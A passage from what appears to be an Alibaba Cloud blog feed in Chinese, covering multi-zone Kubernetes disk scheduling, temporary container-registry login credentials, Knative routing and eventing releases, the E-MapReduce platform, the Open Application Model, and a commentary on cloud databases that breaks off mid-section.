        # kubectl describe node cn-beijing.172.16.2.87 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-b
        # kubectl describe node cn-beijing.172.16.3.197 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-c

        分别删除三个pod,验证重启后的Pod依然落在相应可用区:

        # kubectl delete pod --all
        pod "web-0" deleted
        pod "web-1" deleted
        pod "web-2" deleted
        
        # kubectl get pod
        NAME    READY   STATUS    RESTARTS   AGE
        web-0   1/1     Running   0          61s
        web-1   1/1     Running   0          41s
        web-2   1/1     Running   0          21s
        
        # kubectl describe pod | grep Node
        Node:               cn-beijing.172.16.1.101/172.16.1.101
        Node:               cn-beijing.172.16.2.87/172.16.2.87
        Node:               cn-beijing.172.16.3.197/172.16.3.197
        
        # kubectl describe node cn-beijing.172.16.1.101 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-a
        # kubectl describe node cn-beijing.172.16.2.87 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-b
        # kubectl describe node cn-beijing.172.16.3.197 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-c

        动态数据卷

        创建支持多可用区的StorageClass,如下配置:

        apiVersion: storage.k8s.io/v1
        kind: StorageClass
        metadata:
           name: csi-disk-multizone
        provisioner: diskplugin.csi.alibabacloud.com
        parameters:
            type: cloud_ssd
            zoneId: cn-beijing-a,cn-beijing-b,cn-beijing-c
        reclaimPolicy: Delete

        zoneId:配置多个可用区,生成多个云盘时会在多个可用区之间循环创建;

        按照下面StatefulSet配置创建应用:

        apiVersion: v1
        kind: Service
        metadata:
          name: nginx
          labels:
            app: nginx
        spec:
          ports:
          - port: 80
            name: web
          clusterIP: None
          selector:
            app: nginx
        ---
        apiVersion: apps/v1beta2
        kind: StatefulSet
        metadata:
          name: web
        spec:
          selector:
            matchLabels:
              app: nginx
          serviceName: "nginx"
          replicas: 3
          template:
            metadata:
              labels:
                app: nginx
            spec:
              containers:
              - name: nginx
                image: nginx
                ports:
                - containerPort: 80
                  name: web
                volumeMounts:
                - name: disk-ssd
                  mountPath: /data
          volumeClaimTemplates:
          - metadata:
              name: disk-ssd
            spec:
              accessModes: [ "ReadWriteOnce" ]
              storageClassName: csi-disk-topology
              resources:
                requests:
                  storage: 20Gi

        查看生成的Pod、PVC、PV信息:

        # kubectl get pod
        NAME    READY   STATUS    RESTARTS   AGE
        web-0   1/1     Running   0          2m2s
        web-1   1/1     Running   0          84s
        web-2   1/1     Running   0          52s
        
        # kubectl get pvc
        NAME             STATUS   VOLUME                                      CAPACITY   ACCESS MODES   STORAGECLASS         AGE
        disk-ssd-web-0   Bound    disk-9e6a6f65-f3fc-11e9-a7a7-00163e165b60   20Gi       RWO            csi-disk-multizone   2m6s
        disk-ssd-web-1   Bound    disk-b5071f37-f3fc-11e9-a7a7-00163e165b60   20Gi       RWO            csi-disk-multizone   88s
        disk-ssd-web-2   Bound    disk-c81b6163-f3fc-11e9-a7a7-00163e165b60   20Gi       RWO            csi-disk-multizone   56s
        
        # kubectl get pv
        NAME                                        CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS   CLAIM                    STORAGECLASS         REASON   AGE
        disk-9e6a6f65-f3fc-11e9-a7a7-00163e165b60   20Gi       RWO            Delete           Bound    default/disk-ssd-web-0   csi-disk-multizone            116s
        disk-b5071f37-f3fc-11e9-a7a7-00163e165b60   20Gi       RWO            Delete           Bound    default/disk-ssd-web-1   csi-disk-multizone            85s
        disk-c81b6163-f3fc-11e9-a7a7-00163e165b60   20Gi       RWO            Delete           Bound    default/disk-ssd-web-2   csi-disk-multizone            39s

        查看Pod、pv所在的可用区,分别落在3个可用区:

        # kubectl describe pod web-0 | grep Node
        Node:               cn-beijing.172.16.1.101/172.16.1.101
        # kubectl describe node cn-beijing.172.16.1.101 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-a
        
        # kubectl describe pod web-1 | grep Node
        Node:               cn-beijing.172.16.2.87/172.16.2.87
        # kubectl describe node cn-beijing.172.16.2.87 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-b
        
        # kubectl describe pod web-2 | grep Node
        Node:               cn-beijing.172.16.3.197/172.16.3.197
        # kubectl describe node cn-beijing.172.16.3.197 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-c
        
        # kubectl describe pv disk-9e6a6f65-f3fc-11e9-a7a7-00163e165b60 | grep zone
            Term 0:        topology.diskplugin.csi.alibabacloud.com/zone in [cn-beijing-a]
        
        # kubectl describe pv disk-b5071f37-f3fc-11e9-a7a7-00163e165b60 | grep zone
            Term 0:        topology.diskplugin.csi.alibabacloud.com/zone in [cn-beijing-b]
        
        # kubectl describe pv disk-c81b6163-f3fc-11e9-a7a7-00163e165b60 | grep zone
            Term 0:        topology.diskplugin.csi.alibabacloud.com/zone in [cn-beijing-c]

        云盘跟着Pod走:

        云盘跟着Pod走是指在Pod完成调度,已经确定了运行节点所在可用区以后,再动态创建云盘、PV的方式。所以云盘跟着Pod走的方案只适用于动态数据卷。

        创建WaitForFirstConsumer类型的StorageClass:

        apiVersion: storage.k8s.io/v1
        kind: StorageClass
        metadata:
           name: csi-disk-topology
        provisioner: diskplugin.csi.alibabacloud.com
        parameters:
            type: cloud_ssd
        reclaimPolicy: Delete
        volumeBindingMode: WaitForFirstConsumer

        WaitForFirstConsumer:表示使用定义了这个storageClass的pvc,在pod启动的时候先进行pod调度,再触发pv、云盘的Provision操作。

        创建下面StatefulSet应用:

        apiVersion: v1
        kind: Service
        metadata:
          name: nginx
          labels:
            app: nginx
        spec:
          ports:
          - port: 80
            name: web
          clusterIP: None
          selector:
            app: nginx
        ---
        apiVersion: apps/v1beta2
        kind: StatefulSet
        metadata:
          name: web
        spec:
          selector:
            matchLabels:
              app: nginx
          serviceName: "nginx"
          replicas: 3
          template:
            metadata:
              labels:
                app: nginx
            spec:
              containers:
              - name: nginx
                image: nginx
                ports:
                - containerPort: 80
                  name: web
                volumeMounts:
                - name: disk-ssd
                  mountPath: /data
          volumeClaimTemplates:
          - metadata:
              name: disk-ssd
            spec:
              accessModes: [ "ReadWriteOnce" ]
              storageClassName: csi-disk-topology
              resources:
                requests:
                  storage: 20Gi

        获取Pod、PV的信息:

        # kubectl get pod
        NAME    READY   STATUS    RESTARTS   AGE
        web-0   1/1     Running   0          2m5s
        web-1   1/1     Running   0          100s
        web-2   1/1     Running   0          74s
        
        # kubectl describe pod web-0 | grep Node
        Node:               cn-beijing.172.16.3.197/172.16.3.197
        # kubectl describe node cn-beijing.172.16.3.197 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-c
        
        # kubectl describe pod web-1 | grep Node
        Node:               cn-beijing.172.16.1.101/172.16.1.101
        # kubectl describe node cn-beijing.172.16.1.101 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-a
        
        # kubectl describe pod web-2 | grep Node
        Node:               cn-beijing.172.16.2.87/172.16.2.87
        # kubectl describe node cn-beijing.172.16.2.87 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-b
        
        # kubectl describe pv disk-d4b08afa-f3fe-11e9-a7a7-00163e165b60 | grep zone
            Term 0:        topology.diskplugin.csi.alibabacloud.com/zone in [cn-beijing-c]
        # kubectl describe pv disk-e32d5fcf-f3fe-11e9-a7a7-00163e165b60 | grep zone
            Term 0:        topology.diskplugin.csi.alibabacloud.com/zone in [cn-beijing-a]
        # kubectl describe pv disk-f2cec31a-f3fe-11e9-a7a7-00163e165b60 | grep zone
            Term 0:        topology.diskplugin.csi.alibabacloud.com/zone in [cn-beijing-b]

        ”云盘跟着Pod走“的方案需要澄清一下:

        只有第一次启动pod的时候,且配置了”云盘跟着Pod走“策略,才会出现先调度pod再触发创建pv、云盘的场景。当pod重启的时候,这时走的流程是根据pv的zone信息进行调度,即”pod跟着云盘走“。

        总结:

        本文给出了2种多可用区集群使用云盘数据卷方案:

        Pod跟着云盘走:需要先创建好云盘、PV对象,根据云盘的可用区信息调度负载,这个场景更多适合挂载已有云盘的场景;且这个方案在调度层面更多的依赖云盘可用区的调度信息,而弱化了其他调度器的调度能力。

        云盘跟着Pod走:先执行负载调度,再根据Pod所在可用区信息创建云盘、PV对象;这个方案充分考虑了所有调度器的调度策略,在调度完成后创建PV并挂载使用,这个过程云盘可用区信息不参与调度。

        对于应用负载使用云盘数据卷的场景,更推荐使用”云盘跟着Pod走“的方案。

        ]]>
        利用临时用户名和密码登录容器镜像仓库 Fri, 02 May 2025 09:39:04 +0800 image

        阿里云容器镜像仓库服务提供了丰富的权限控制方式,可以细粒度的控制账号对镜像仓库的访问权限。相关文档可以参见访问控制文档

        但有时候,我们只是让别人能够访问自己的镜像仓库,不想为TA创建一个子账号然后授权。这种情况下可以利用临时用户名和密码的方式授权。

        查看镜像仓库的开发文档,我们发现有这么一个API可以创建一个有效期为1小时的临时用户和密码

        Get /tokens HTTP/1.1

        调用这个API,可以获得一个临时用户名及密码,以及有效期。那么我们尝试用aliyuncli 来访问一下,看看结果是怎样的:

        $ aliyun cr GET /tokens --endpoint=cr.cn-hangzhou.aliyuncs.com
        {
            "data": {
                "expireDate": 1571805689000,
                "authorizationToken": "***",
                "tempUserName": "cr_temp_user"
            },
            "requestId": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"
        }

        解读一下返回的结果,tempUserName的值cr_temp_user 是临时用户名,authorizationToken的值是对应的临时密码。

        用docker登录一下,成功了。

        $docker login registry.cn-hangzhou.aliyuncs.com
        Username: cr_temp_user
        Password: (输入authorizationToken值)
        Login Succeeded

        那么,这个临时用户名的有效期是多长呢?从上面对API调用的expireDate值是以ms表示的Unix epoch time。我们可以再Mac上用如下命令解读:

        $date -r 1571805689
        Wed Oct 23 12:41:29 CST 2019

        也就是说有效期为1个小时。

        好的,现在你可以放心大胆的让别人临时访问你的镜像仓库了。Enjoy ACR。

        ]]>
        Knative 实战:如何在 Knative 中配置自定义域名及路由规则 Fri, 02 May 2025 09:39:04 +0800 当前 Knative 中默认支持是基于域名的转发,可以通过域名模板配置后缀,但目前对于用户来说并不能指定全域名设置。另外一个问题就是基于 Path 和 Header 转发的能力,很多情况下我们使用相同的域名,不同服务通过访问路径进行区分。
        针对上述这两个问题,我们在阿里云 Knative 中提供了这样的能力,用户可以通过控制台配置自定义域名,并基于Path和Header进行路由转发设置。如图所示:
        image

        自定义域名

        登录阿里云容器服务控制台,进入【Knative】-【组件管理】,点击 Serving 组件【详情】。
        image

        进入详情之后,选择域名配置,添加自定义域名:test.serverless.kuberun.com。点击 【确定】进行保存。
        image

        配置路由转发

        进入【Knative】-【服务管理】控制台,选择对应的服务。这里我们对 Login-Service 服务 以及 Search-Service 服务分别设置不同的 Path 进行访问。

        Login-Service 服务路由转发配置

        选择 Login-Service 服务, 选择 路由转发 页签,点击 配置, 选择test.serverless.kuberun.com域名,配置路径:/login。点击 确定 进行保存。
        image

        接下了继续配置Search-Service 服务路由规则。

        Search-Service 服务路由转发配置

        选择 Search-Service 服务, 选择 路由转发 页签,点击 配置, 选择test.serverless.kuberun.com域名,配置路径:/search。点击 确定 进行保存。
        image

        服务访问

        以上路由转发配置完成之后,我们开始测试一下服务访问:
        在浏览器中输入:http://test.serverless.kuberun.com/login 可以看到输出:Hello Login Service!
        image

        在浏览器中输入:http://test.serverless.kuberun.com/search 可以看到输出:Hello Search Service!
        image

        基于 Path + Header 进行路由转发

        选择 Login-Service 服务, 选择 路由转发 页签,点击 配置,这里我们加上Header 配置:foo=bar。点击 确定 进行保存。
        image

        访问 http://test.serverless.kuberun.com/login 发现服务 404 不可访问。
        image

        说明基于Header是生效的,下面我们在访问请求中通过 ModHeader 插件配置上Header:foo=bar.
        image

        配置完成之后,我们再一次访问服务:http://test.serverless.kuberun.com/login
        image

        服务访问 OK。这样我们就完成了基于 Path + Header 路由转发配置

        小结

        通过阿里云 Knative 控制台让你更轻松、快捷的实现自定义域名及路由规则,以打造生产可用的服务访问。欢迎对 Knative 感兴趣的一起交流。

        欢迎加入 Knative 交流群

        image

        ]]>
        解读 Knative Eventing v0.10.0 最新版本特性 Fri, 02 May 2025 09:39:04 +0800 前言

        Knative Eventing v0.10.0 版本已经于 10 月 29 号正式发布。本次发布继续围绕完善 Eventing 中相关功能展开。本篇文章通过解读这些功能特性,让你快速对 v0.10.0 版本有所了解。

        新特性

        采用 Destination 资源

        为了在 Eventing/Messaging 中需要支持设置URI, 而 Destination 本身具备这些属性,因此将 Destination 作为统一访问资源。 Destination 结构如下:

        type Destination struct{
          // +optional
          Ref *corev1.ObjectReference
          // +optional
          URI *apis.URL
        }

        用户除了可以通过之前如下的方式:

          sink:
            apiVersion: v1
            kind: Service
            name: event-display

        除此之外,还可以直接通过uri方式访问:

          sink:
            uri: http://event-display.default.svc.cluster.local

        通过 uri 这样的方式意味着我们可以在Eventing中 设置 subPath (如 http://event-display.default.svc.cluster.local/test)进行访问。
        目前支持 Destination 的资源包括:Trigger, Subscription, Parallel, Sequence, ApiServerSource, ContainerSource, 以及 CronJobSource。

        创建 Trigger 时默认创建 Broker

        当第一次创建 Trigger 时,如果没有 Broker, 会自动在当前的namespace 的 label 中添加 knative-eventing-injection: "enabled",创建默认的 Broker。

        CloudEvents

        CloudEvents 升级到 1.0 版本支持

        监控增强

        • 在所有的组件中暴露 Go's runtime.MemStats 作为 opencensus metrics。
        • 在 Grafana 中添加了 Broker/Trigger 和 Source 指标仪表盘

        其它特性

        • 将 CronJobSource 和 ApiServerSource 中 event type 从 OpenAPI spec 移动到annotations中。
        • Broker, Channel, Parallel, Sequence CRDs 支持通过标签 duck.knative.dev/addressable: "true" 表明资源可以访问。

        其它关键信息

        • 支持 Kubernetes 最小版本 1.14。如果你 k8s 版本小于1.14, 则会部署失败。
        • channels.eventing.knative.dev CRD 已经被删除, 已经使用 channels.messaging.knative.dev 替换. 请手动删除 channels.eventing.knative.dev CRD 资源
        • CloudEvents SDK 不再设置默认类型 application/json. 如果需要可以通过设置 content type。

        总结

        本次 Knative Eventing v0.10.0 版本主要继续完善功能,在后续的版本迭代中应该也是主要集中在功能完善和优化。同时也欢迎对 Knative 有兴趣的一起交流。

        欢迎加入 Knative 交流群

        image

        ]]>
        阿里云E-MapReduce探秘,快速构建可扩展的高性能大数据平台(技术部分) Fri, 02 May 2025 09:39:04 +0800 本文来自夏立的分享,花名雷飙,阿里巴巴计算平台EMR高级产品专家。 2014年开始接触大数据,历经阿里内部的大数据发展,目前在阿里云上负责开源的大数据平台EMR产品,构建云上的开源生态。

        产品介绍

        阿里云EMR的整体架构如下:
        管理运维能力

        • 集群管理,作业管理和调度

        • 操作Web化、SDK&API

        完全兼容开源系统,并在之基础上强化

        • Hadoop, Spark性能优化

        • 监控能力能整合强化

        伴随社区发展的生态

        • 组件跟随开源社区保持版本升级

        • 开源与阿里云平台的联结者,充分发挥云的生态能力

        • 云产品对接(OSS,SLS,MaxCompute等)

        • 云能力对接,弹性等等(本地盘实例严格打散,弹性伸缩能力,支持竞价实例)

        全球部署(全球15个region部署)

        • 基于企业级开源大数据生态上多样化场景方案的快速复制

        提供完整的企业级的一体化平台

        • 打包计算平台能力

        • 开箱即用的体验

        常见的组合使用方式:

        大数据平台应用到的组件包括:
        通用Hadoop

        • 开源大数据离线、实时、Ad-hoc查询场景

        • 基于开源Hadoop生态,采用YARN管理集群资源,提供Hive、Spark离线大规模分布式数据存储和计算, SparkStreaming、Flink、Storm流式数据计算,Presto、Impala交互式查询,Oozie、Pig等Hadoop生态圈的组 件,支持OSS存储,支持Kerberos的数据认证与加密。

        Kafka

        • 开源高吞吐量,可扩展性的消息系统

        • E-MapReduce Kafka提供一套完整的服务监控体系和元数据管理。广泛用于日志收集、监控数据聚合等场 景,支持离线或流式数据处理、实时数据分析等。

        DataScience

        • 大数据+AI场景

        • Data Science针对大数据+AI场景,提供了Hive、Spark离线大数据ETL,TensorFlow模型训练,用户可以选 择CPU+GPU的异构计算框架,利用英伟达GPU对部分深度学习算法就行高性能计算。

        Druid

        • 实时交互式分析服务场景

        • Druid提供了大数据查询毫秒级延迟,支持多种数据摄入方式。可与E-MapReduce Hadoop、E-MapReduce Spark、阿里云OSS、阿里云RDS等服务搭配组合使用,构建灵活稳健的实时查询解决方案。

        Zookeeper

        • 分布式锁

        • 适用于大规模的Hadoop集群、HBase集群、Kafka集群独立的分布式一致性锁服务。

        产品功能点

        可视化集群管理控制台

        自带的调度系统

        • 项目级别的权限管理

        • 支持DAG

        • 更好的弹性资源结合

        • 方便的多种作业管理

        • 完善的报警和监控

        机器学习支持
        深度学习、AI以成为目前炙手可热的词汇,EMR EMR Cluster Learning将深度学习和开源大数据技术深度结合,提供 一体化的大数据+深度学习服务。利用一个集群,构建 企业数据湖,同时进行机器学习和深度学习:

        • 支持ECS GPU机型,通过Hadoop YARN调度集群GPU资源 Spark ML

        • TensorFlow Horvod • 支持TensorFlow ,Horvod等计算框架

        • 可采用PS、MPI等数据通信模式

        • 支持Docker,Standalone运行模式



        ]]>
        阿里云和微软共同开源的 OAM 对 Kubernetes 开发人员意味着什么? Fri, 02 May 2025 09:39:04 +0800

        上周,微软和阿里巴巴共同推出了开放应用模型(OAM),用于定义部署在任何地方的应用模型的一种规范。Rudr是Microsoft基于Kubernetes环境的OAM标准实现。

        我用了一个周末来了解OAM试图解决的问题,为此我还以Rudr为基础重构了一些我喜欢的基础微服务的应用程序。本文和以下教程将帮助普通的Kubernetes用户了解OAM背后的动机。

        众所周知,Kubernetes是一个复杂的平台,包含许多活动组件。在编排和部署简单的两层Web应用程序时,需要涉及到创建Storage Classes,PVC,PV,Secret,ConfigMap,Service,Deployment和 Ingress。在实际生产部署中还需要健全的日志收集,监控告警,安全性,高可用性和可扩容性,我们将用到StatefulSet(有状态应用),网络策略,RBAC,准入控制,Pod横向自动伸缩等知识。

        对于从传统IT环境过渡的开发工程师和运维工程师,Kubernetes强劲的发展势头让人感到害怕。甚至一些熟悉容器化的DevOps专业人员都发现想要完全理解Kubernetes也是个很棘手的事情。

        当转换为可部署的文件时,一个简单的两层Web应用程序可能具有十几个YAML文件,里面包含了这个应用程序针对于每个对象的定义描述。

        Kubernetes的核心设计原则之一是对象的可解耦性。例如一个服务可以独立于Pod而存在,创建一个PV无需任何使用者,还可以配置一个无需任何后端来处理请求的Ingress。基于一组标签,注释和选择器,这些特点在运行时可以拼凑在一起共同使用。一个服务会将请求转发到符合条件的一个或多个Pod上。Ingress将流量路由到某个服务也是相同的用法。

        Kubernetes中的每个对象都是自我治理并且完全独立的。尽管这种设计使Kubernetes具有极高的可扩展性,但其缺点是缺乏应用程序上下文关系。Kubernetes中的一个应用程序是一系列协同工作的自治对象的集合。当转换为可部署的文件时,一个简单的两层Web应用程序可能具有十几个YAML文件,里面包含了这个应用程序针对于每个对象的定义描述。在单一环境下管理和维护这些编排文件是与Kubernetes接触时面临的最大挑战。

        Helm工具想要通过图表的概念来解决这个问题。但是即使这样,你往往还是在部署后丢失上下文关系。毕竟Helm只是应用程序运行所需的多个Kubernetes对象定义的集合编排文件生成工具。

        Kubernetes的其他挑战之一是开发人员和运维人员之间有个很模糊的界限。为了有效利用平台,开发人员需要对运行时环境有一定的了解。他们需要了解ConfigMap如何对Pod中包装的容器可见。他们需要知道初始化代码的哪一部分应打包为Init容器。运维人员负责确保正确的命名规则来保证服务发现的正常工作。他们需要知道需要传递给Pod的所有环境变量。运维人员应根据应用程序的特性来决定将容器部署为ReplicationController,DaemonSet还是StatefulSet。他们需要在生产环境部署的时候,选择使用ClusterIP还是NodePort。

        如上所述,开发人员期望熟悉运行时程序需要哪些必要的决策,并且运维人员应了解软件设计方面的知识。OAM想要通过以下方法解决这些存在的问题:

        • 将应用程序上下文带入微服务部署

        • 在开发人员和运维人员之间明确关注点

        • 与运行时无关的应用程序模型

        从更高的层次上来说,OAM是用于定义微服务或一组属于应用程序的微服务组件的规范。每个组件都有一个或多个工作节点,它们可以作为一个服务,或者是个消费者,或者是个需要完成的任务。每个工作节点之间可能具有关联的配置和特征。这些配置转换为传递给工作节点的参数,这些特性会影响组件的运行环境,同一类组件的集合属于一个应用程序。

        OAM的核心前提是,开发人员的工作以从源代码在构建容器镜像的时候结束,而运维人员负责的工作正好从此处开始。Ops团队将负责为单个应用程序的一组容器镜像进行配置和部署。

        OAM中的组件意在使开发人员能够以与基础结构无关的格式声明,来区分执行单元的操作特性。组件定义了在基础系统结构中的CPU,GPU,内存和磁盘需求。

        组件中的每个工作节点类型如下:

        配置通常在处理后以参数的形式传递给工作节点。例如在配置中定义了发送到应用程序服务工作节点的连接数据库的字符串。

        这些特性定义了工作节点的运行时行为,从而定义了一个应用程序。Rudr就是OAM的参考实现的,并有以下特征:

        如果我们仔细观察Workload和Trait的概念描述,它们可以轻松将这些概念对应到到Kubernetes。服务本质上是Deployment,而Singleton服务是具有一个replica的Deployment。它们都要使用ClusterIP或NodePort。Worker和单独的Worker是没有关联服务的Pods。任务是一个可并行化的Kubernetes Job,而单个任务是个单次运行的Job。

        同样这些特性也能对应到到Kubernetes的自动扩容,Ingress,Deployment和PVC等概念。

        因此使用OAM和Rudr,开发人员可以提交代码并构建可转换为工作节点的容器镜像。运维人通过这些组件的特性进行配置定义,将其组成工作节点。

        从技术上讲,OAM这一规范可以适用于虚拟机基础设施平台(IaaS),PaaS和容器管理平台(CaaS)。OAM的每个构建模块都可以映射到相应的环境。就是说OAM定义的YAML文件可以在没有任何修改的情况下部署在任何环境中。


        ]]>
        数据库上云争夺战打响,阿里云“新瓶”要酿“新酒”? Fri, 02 May 2025 09:39:04 +0800 云计算推动下,数据库这个将近50年的行业正在发生快速变革。

        不久前,阿里云宣布与开源数据库厂商MongoDB达成合作,根据协议,前者将成为全球唯一可提供最新的MongoDB服务的云厂商。

        直接看这个消息,可能多数非行业相关的人有点不太敏感,事实上,近些年来,随着一向扎根于本地服务器的传统数据库行业与云计算发生激烈碰撞,2018年开始开源数据库厂商Redis、MongoDB等纷纷修改协议,限制开源数据库在云上的使用,而现在阿里云和MongoDB主动合作开发适合云上的版本,证明了数据库上云的趋势已经不可避免。

        早在2014年,AWS就发布了业内首个云原生数据库Aurora,阿里云在2017年跟进,发布了国内首个云原生数据库POLARDB,现在,开源数据库巨头主动来合作,无疑是这一趋势深化的表现。

        动因并不复杂,云计算+数据库能带来更低的运营成本、更高的灵活性,以及与未来物联网、5G结合满足庞大而复杂数据需求的能力,传统数据库巨头,包括Oracle在内都无法抵挡这个趋势。

        而从整个云计算行业来看,这个赛道的竞逐也早已展开,大大小小的云计算厂商都在入局,在这场全新的战争中,云计算们是如何搏杀的,又如何去赢得自己的位置,AWS、阿里云这样的巨头优势又在哪?

        用酒瓶与酒比喻,一个通俗易懂的“云计算+数据库”竞争态势和未来挑战浮出水面。

        云计算的“酒瓶”与数据库的“酒”出现三种搭配方式

        如果把载体比较做酒瓶,把数据库产品比作酒,那传统数据库毫无疑问是“旧瓶”装“旧酒”,在本地服务器部署传统的数据库产品,不论它们是封闭的Oracle还是开源的MySQL、Redis、MongoDB等。

        而到了云计算万物上云的时代,“新瓶”已经就位,从阿里、AWS以及更多体量更小的中小云计算厂商案例来看,数据库上云的竞逐有这三种“搭配”:

        1、“新瓶装旧酒”

        简单说,用云计算装载传统数据库产品,等于原来在本地部署,现在换个地方。

        虽然都在说Oracle的颓势与云计算关联很大,但公允地说,无论是Oracle还是它的竞品MySQL等都和云计算没有根本矛盾,在“上云”概念下,不论是封闭的Oracle或是开源的MySQL都可以部署到云端,Oracle这些年的转型也主要采用这个方式。

        这种“新瓶装旧酒”的玩法是所有云计算平台与数据库结合时的基础配置和基础能力,不论是AWS、阿里云、Azure这样的巨头,还是其他云计算厂商。例如腾讯云就推出“TStack”产品,专门服务企业本地Oracle的云化,针对MySQL也有专门的上云解决方案。

        而这种玩法面临来自数据库产品方出于自身利益考量的不确定性,例如Oracle需要授权才能上云,而开源系统一些时候则会推出限制上云的协议。

        2、“新瓶装新酒”

        严格来说,“数据库上云”和“云数据库”是两个不同的概念,前者应该是上文提及的新瓶装旧酒,而后者,由于本身就原生于云环境下,是全新的数据库产品形态,所以应该属于“新瓶装新酒”。

        “新瓶装新酒”作为全新的玩法,主要由大型云计算厂商引领和突破,其优势在于可以利用云原生的优势创造出许多过去数据库产品不具备的特性。

        2017年阿里云推出的POLARDB就属此类,既拥有分布式设计的低成本优势,又具有集中式的易用性,从参数上看,该产品性能最高能达到传统开源数据库系统MySQL的6倍,支持单库容量扩展至上百TB级别(简单理解就是弹性大,能存更多东西,天花板高),且系统扩展在秒级完成。

        AWS 2014年推出的Aurora也是“新瓶装新酒”的典型代表,原生的Amazon Aurora利用AWS平台,既具有高端商用数据库的性能和可用性,又具有开源数据库的简单性和成本效益,从“跑分”来看,“高出典型的MySQL数据库多达五倍的性能表现”,以及“高出典型的PostgreSQL数据库多达三倍的性能”。

        3、“新瓶”酿“新酒”

        除了传统数据库“上云”,和“云原生数据库”两种搭配,从生态运营的角度,当云计算厂商与数据库产品方合作,双方共同开发适合云环境的传统数据库产品时,一种“新瓶”酿“新酒”的搭配也就应运而生。

        与传统数据库上云不同,这样的玩法不是企业需求方去与数据库方沟通,而是云计算和数据库两个供给方的主动变革,“酿”出新的产品。

        阿里云与MongoDB合作,就是一种典型的“新瓶”酿“新酒”,在原生云数据库之外,与传统开源系统通力合作,建立适合云环境的开源数据库系统。

        这种合作一般不是凭空而来,往往源于已有的合作。在这次合作之前,阿里云就已经是国内最早提供MongoDB服务的云厂商,提供完全兼容MongoDB协议的云托管数据库服务。

        从这个意义上看,阿里云这种云计算巨头在数据库上云的竞逐中,采用的是“两手抓”的玩法,一方面与传统数据库合作改良,另一方面有自建云原生数据库。

        不管什么酒、什么瓶,数据库上云的竞争离不开这些竞逐

        其实云计算在数据库上云这件事上的比拼,逻辑并不复杂,无非是基础能力、技术和商务推进三个层面,而它们某种程度上都是硬指标、硬能力,很难短期内得到提升,所以新赛道竞逐,本质上还是旧有云计算实力的比拼。

        1、基础云计算体系+业务理解是永恒的基础

        AWS最早推出Amazon Aurora,与其电商业务的发展有很大的关联,大量的数据库业务需求暴露出传统数据库在效率和容量等方面的问题,通俗地理解,一个老城道路规划出四车道,就算在当时已经十分阔绰,但在今天依然会很拥挤。

        由此,巨头们被需求所推动,纷纷推出各种云原生数据库,或者与数据库产品方合作,基于云计算体系和业务理解,在这方面的拓展是自然的过程。

        阿里云也是如此,2008开始提去IOE化,与淘宝网业务的急速膨胀有直接的关联,现在去IOE化基本完成,与之对应的,除了一个巨头级的云计算平台建立起来,对数据业务的理解也经过电商、金融等业务的实践反馈,与MongoDB合作后的4.2版本更新,就是数据需求演化的结果。

        对中小云计算平台来说,还必须在与客户的合作过程中增强对数据业务的理解,一边做业务一边提升自己。

        2、技术高度决定转换成本大小,转换成本决定“存量转化”的有效性

        数据库上云,或者原生云数据库,其市场的发展过程,很多时候并不是“做增量”,而是做“存量转化”,除非那些全新成立的新公司或新项目设立新的数据库。

        而占据当前市场主体的Oracle、MySQL时代的存量用户需要前移到云上,这些企业对数据库需求明确、理念清晰,本身也是一种优势,不需要再进行过多的市场教育。

        不过,在数字化时代,数据库的迁移是一件比过去更麻烦的事,这种麻烦程度随着数字化社会程度加深,以及客户企业本身的发展壮大而变得更棘手。在很多大型企业那里,对数据库的要求是4个9甚至5个9(后者约等于1年只允许有5分钟无法使用的时间),如果企业每天都需要处理大量的数据,将数据库转换到云端如同在万米高空飞行时更换飞机的引擎。

        竞争的重点在于,谁能提供给客户一个更便捷、更低成本的转化方式,一方面是数据库的搬迁便捷性,另一方面是不同数据库类型的转换(例如一个使用MySQL的客户,要改变MySQL类型是伤筋动骨的事),毕竟,云数据库优势再多,转换成本太高也很难被采纳。

        我们在巨头的云数据库产品介绍中,都发现了相关的字眼:

        AWS:Aurora是为云构建的一种兼容MySQL和PostgreSQL的关系数据库;

        阿里云:POLARDB全面兼容开源数据库MySQL 5.6、8.0、PostgreSQL 11,可实现一键快速迁移。

        显然,这一方面是云计算数据库竞争的重点。

        3、ToB属性的同业竞争,PK市场营销层面的冷启动问题

        数据库不是全新独立的业务,其作为ToB属性的技术服务,某种程度上是企业服务的一个类别,只不过技术性质浓厚被忽视了企业服务属性。

        从提供云计算服务,到提供云数据库服务,平台更深入到客户的运营管理、商业逻辑之中,企业服务、ToB的属性更浓厚,而一旦ToB属性变强,其结果就是市场拓展过程中资源比拼的性质更浓厚。

        也即,数据库上云这件事可以依赖巨头本身的资源进行推广,“搭便车”冷启动,例如,阿里云与钉钉的搭售(同一客户有时候相互推销)已经是云计算行业公开的秘密,钉钉、阿里云以及“阿里经济体”资源对数据库上云业务的助力不言而喻。

        类似的,AWS也是背靠亚马逊帝国迅速成长起来的。。

        “新瓶”更有魅力,但它也要付出“代价”?

        在Gartner发布的2018年数据库魔力象限中,AWS和阿里云双双入选,显示云原生数据库和数据库上云的“未来魅力”所在。

        但是,魅力也不是没有代价,至少目前,要拿“新瓶”装酒,还面临这三大挑战:

        1、更敏感的市场预期,容错率极低

        交通事故天天发生,甚至撞车造成伤亡这种事都难以成为社会关注的焦点,但是,如果一辆正在上路测试的自动驾驶汽车发生了剐蹭,舆论毫无疑问会蜂拥而上,然后给出一个大大的标题:“自动驾驶要完?”

        用全新云形态承载持续了50年的数据库产品,面临更敏感的市场预期,那些原本在本地部署经常出现的问题,一旦发生在云平台上很容易招致批判。

        一言以蔽之,这是一件容错率太低了的事,只有云计算平台本身充分准备好了才能上马。

        2、数据库竞争根本上仍然是产品的竞争

        用茅台的酒瓶装“升级版二锅头”,二锅头还是二锅头,在口感各方面成不了茅台酒。

